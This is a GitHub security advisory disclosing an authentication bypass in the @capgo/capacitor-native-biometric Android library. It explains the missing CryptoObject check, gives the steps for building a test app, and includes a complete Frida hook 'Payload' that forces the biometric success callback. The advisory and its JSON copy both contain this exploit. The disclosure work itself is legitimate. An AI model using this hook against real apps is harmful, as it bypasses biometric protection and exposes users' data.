GHSA-VX5F-VMR6-32WF
Vulnerability from github – Published: 2026-02-10 14:33 – Updated: 2026-02-12 20:25There is a potential issue with the cap-go/capacitor-native-biometric library.
Summary
The cap-go/capacitor-native-biometric library was found to be subject to an authentication bypass as the current implementation of the onAuthenticationSucceeded() does not appear to handle a CryptoObject^HackTricks1 as seen in the following code block starting from line 88 in AuthActivity.java:
@Override
public void onAuthenticationSucceeded(
@NonNull BiometricPrompt.AuthenticationResult result
) {
super.onAuthenticationSucceeded(result);
finishActivity("success");
}
As the current implementation only checks whether onAuthenticationSucceeded() was called and does not handle a CryptoObject the biometric authentication can be bypassed by hooking the onAuthenticationSucceeded() function.
PoC Video:
https://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7
Environment:
The following steps were taken to create and deploy a Capacitor application using the cap-go/capacitor-native-biometric library for the purpose of verifying this finding. Note at the time of writing the npx create-react-app command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen here. If it is not fixed by the time you look at this PoC please use the yarn alternatives.
- Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name
capgo-poc:
npx create-react-app capgo-poc --template typescript
Yarn Alternative:
npm install --global yarn
yarn create react-app capgo-poc --template typescript
- Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies:
cd capgo-poc
npm install @capacitor/core
npm install @capacitor/cli
npm install @capacitor/android
npm install @capgo/capacitor-native-biometric
npm install react
Yarn Alternative:
cd capgo-poc
yarn add @capacitor/core
yarn add @capacitor/cli
yarn add @capacitor/android
yarn add @capgo/capacitor-native-biometric
yarn add react
- Initialise the project using the name
capgo-pocandcom.capgo.poc, and add the android platform by running the following commands:
npx cap init
npx cap add android
- Configure the android permissions by opening the
android/app/src/main/AndroidManifest.xmlfile and add the necessary permissions:
<uses-permission android:name="android.permission.USE_BIOMETRIC" />
<uses-permission android:name="android.permission.USE_FINGERPRINT" />
- Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called
App.tsxinsrc/and import the following code:
import React, { useState } from 'react';
import { NativeBiometric } from '@capgo/capacitor-native-biometric';
const App = () => {
// State to hold authentication status
const [authStatus, setAuthStatus] = useState<string | null>(null);
// Function to authenticate the user
const authenticateUser = async () => {
try {
const result = await NativeBiometric.verifyIdentity({
reason: 'For an application access',
title: 'Log in',
subtitle: '',
description: 'Verify yourself by biometrics',
useFallback: true,
maxAttempts: 3,
}).then(() => true)
.catch(() => false);
if (!result) {
setAuthStatus('failed');
} else {
setAuthStatus('success');
}
} catch (error) {
console.error('Error during biometric verification:', error);
setAuthStatus('error');
}
};
return (
<div>
<h1>CAP-GO Capacitor Native Biometric Authentication</h1>
<button onClick={authenticateUser}>Authenticate with Biometrics</button>
{/* Conditionally render based on authentication status */}
{authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>}
{authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>}
{authStatus === 'error' && <h2>Error during authentication</h2>}
</div>
);
};
export default App;
- Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:
npm run build
npx cap sync android
npx cap open android
Yarn alternative:
yarn build
npx cap sync android
npx cap open android
Exploitation:
For the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications ^frida.
Note that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability.
- Copy the below frida script to a JavaScript file and run it to hook the
onAuthenticationSucceeded()function, abusing thenull CryptoObject. This can be done by running the following command:
frida -U -l <PAYLOAD> -n 'capgo-poc'
Payload
Java.perform(function () {
hookBiometricPrompt();
});
function getBiometricAuthResult(resultObj, cryptoInst) {
var authenticationResultInst = resultObj.$new(cryptoInst, 0);
return authenticationResultInst;
};
function getBiometricPromptResult() {
var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
var cryptoInst = cryptoObj.$new(null);
var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);
return authenticationResultInst
};
function hookBiometricPrompt() {
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
console.log("Hooking BiometricPrompt.authenticate()...");
biometricPrompt.implementation = function (cancellationSignal, executor, callback) {
var authenticationResultInst = getBiometricPromptResult();
callback.onAuthenticationSucceeded(authenticationResultInst);
}
};
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@capgo/capacitor-native-biometric"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-10T14:33:50Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "There is a potential issue with the [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library. \n\n---\n\n## Summary\n\nThe [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library was found to be subject to an authentication bypass as the current implementation of the `onAuthenticationSucceeded()` does not appear to handle a `CryptoObject`[^HackTricks1] [^SecuringBiometricAuthentication] as seen in the following code block starting from [line 88 in AuthActivity.java](https://github.com/Cap-go/capacitor-native-biometric/blob/main/android/src/main/java/ee/forgr/biometric/AuthActivity.java#L88):\n\n```java\n@Override\n public void onAuthenticationSucceeded(\n @NonNull BiometricPrompt.AuthenticationResult result\n ) {\n super.onAuthenticationSucceeded(result);\n finishActivity(\"success\");\n }\n```\n\nAs the current implementation only checks whether `onAuthenticationSucceeded()` was called and does not handle a `CryptoObject` the biometric authentication can be bypassed by hooking the `onAuthenticationSucceeded()` function. \n\n## PoC Video:\n\nhttps://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7\n\n## Environment:\n\nThe following steps were taken to create and deploy a Capacitor application using the `cap-go/capacitor-native-biometric library` for the purpose of verifying this finding. Note at the time of writing the `npx create-react-app` command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen [here](https://github.com/facebook/create-react-app/issues/13715). If it is not fixed by the time you look at this PoC please use the yarn alternatives. \n\n1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I\u0027ll be using the name `capgo-poc`: \n\n```sh\nnpx create-react-app capgo-poc --template typescript\n```\n\nYarn Alternative:\n\n```sh\nnpm install --global yarn\nyarn create react-app capgo-poc --template typescript\n```\n\n2. Install dependencies by navigating into your app\u0027s directory and run the following command to install Capacitor\u0027s core dependencies:\n\n```sh\ncd capgo-poc\nnpm install @capacitor/core \nnpm install @capacitor/cli \nnpm install @capacitor/android\nnpm install @capgo/capacitor-native-biometric\nnpm install react\n```\n\nYarn Alternative:\n\n```sh\ncd capgo-poc\nyarn add @capacitor/core \nyarn add @capacitor/cli \nyarn add @capacitor/android\nyarn add @capgo/capacitor-native-biometric\nyarn add react\n```\n\n3. Initialise the project using the name `capgo-poc` and `com.capgo.poc`, and add the android platform by running the following commands:\n\n```sh\nnpx cap init\nnpx cap add android\n```\n\n4. Configure the android permissions by opening the `android/app/src/main/AndroidManifest.xml` file and add the necessary permissions:\n\n```xml\n\u003cuses-permission android:name=\"android.permission.USE_BIOMETRIC\" /\u003e\n\u003cuses-permission android:name=\"android.permission.USE_FINGERPRINT\" /\u003e\n```\n\n5. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called `App.tsx` in `src/` and import the following code:\n\n```js\nimport React, { useState } from \u0027react\u0027;\nimport { NativeBiometric } from \u0027@capgo/capacitor-native-biometric\u0027;\n\nconst App = () =\u003e {\n // State to hold authentication status\n const [authStatus, setAuthStatus] = useState\u003cstring | null\u003e(null);\n\n // Function to authenticate the user\n const authenticateUser = async () =\u003e {\n try {\n const result = await NativeBiometric.verifyIdentity({\n reason: \u0027For an application access\u0027,\n title: \u0027Log in\u0027,\n subtitle: \u0027\u0027,\n description: \u0027Verify yourself by biometrics\u0027,\n useFallback: true,\n maxAttempts: 3,\n }).then(() =\u003e true)\n .catch(() =\u003e false);\n\n if (!result) {\n setAuthStatus(\u0027failed\u0027);\n } else {\n setAuthStatus(\u0027success\u0027);\n }\n } catch (error) {\n console.error(\u0027Error during biometric verification:\u0027, error);\n setAuthStatus(\u0027error\u0027);\n }\n };\n\n return (\n \u003cdiv\u003e\n \u003ch1\u003eCAP-GO Capacitor Native Biometric Authentication\u003c/h1\u003e\n \u003cbutton onClick={authenticateUser}\u003eAuthenticate with Biometrics\u003c/button\u003e\n\n {/* Conditionally render based on authentication status */}\n {authStatus === \u0027success\u0027 \u0026\u0026 \u003ch2\u003eCAP-GO Capacitor Native Biometric Authentication Success\u003c/h2\u003e}\n {authStatus === \u0027failed\u0027 \u0026\u0026 \u003ch2\u003eCAP-GO Capacitor Native Biometric Authentication Failed\u003c/h2\u003e}\n {authStatus === \u0027error\u0027 \u0026\u0026 \u003ch2\u003eError during authentication\u003c/h2\u003e}\n \u003c/div\u003e\n );\n};\n\nexport default App;\n```\n\n6. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:\n\n```sh\nnpm run build\nnpx cap sync android \nnpx cap open android\n```\n\nYarn alternative:\n\n```sh\nyarn build\nnpx cap sync android \nnpx cap open android\n```\n\n## Exploitation:\n\nFor the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications [^frida]. \n\nNote that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability. \n\n1. Copy the below frida script to a JavaScript file and run it to hook the `onAuthenticationSucceeded()` function, abusing the `null CryptoObject`. This can be done by running the following command:\n\n```sh\nfrida -U -l \u003cPAYLOAD\u003e -n \u0027capgo-poc\u0027\n```\n\n### Payload\n```js\nJava.perform(function () {\n hookBiometricPrompt();\n});\n\nfunction getBiometricAuthResult(resultObj, cryptoInst) {\n var authenticationResultInst = resultObj.$new(cryptoInst, 0);\n return authenticationResultInst;\n};\n\nfunction getBiometricPromptResult() {\n var cryptoObj = Java.use(\u0027android.hardware.biometrics.BiometricPrompt$CryptoObject\u0027);\n var cryptoInst = cryptoObj.$new(null);\n var authenticationResultObj = Java.use(\u0027android.hardware.biometrics.BiometricPrompt$AuthenticationResult\u0027);\n var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);\n return authenticationResultInst\n};\n\nfunction hookBiometricPrompt() {\n var biometricPrompt = Java.use(\u0027android.hardware.biometrics.BiometricPrompt\u0027)[\u0027authenticate\u0027].overload(\u0027android.os.CancellationSignal\u0027, \u0027java.util.concurrent.Executor\u0027, \u0027android.hardware.biometrics.BiometricPrompt$AuthenticationCallback\u0027);\n console.log(\"Hooking BiometricPrompt.authenticate()...\");\n biometricPrompt.implementation = function (cancellationSignal, executor, callback) {\n var authenticationResultInst = getBiometricPromptResult();\n callback.onAuthenticationSucceeded(authenticationResultInst);\n }\n};\n```\n\n[^SecuringBiometricAuthentication]: https://www.kayssel.com/post/android-8/\n[^HackTricks1]: https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android#method-1-bypassing-with-no-crypto-object-usage\n[^frida]: https://frida.re/",
"id": "GHSA-vx5f-vmr6-32wf",
"modified": "2026-02-12T20:25:16Z",
"published": "2026-02-10T14:33:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Cap-go/capgo/security/advisories/GHSA-vx5f-vmr6-32wf"
},
{
"type": "WEB",
"url": "https://github.com/Cap-go/capacitor-native-biometric/commit/1254602e942f8216e6258f646f0866d8e69c48a5"
},
{
"type": "PACKAGE",
"url": "https://github.com/Cap-go/capgo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "cap-go/capacitor-native-biometric Authentication Bypass"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.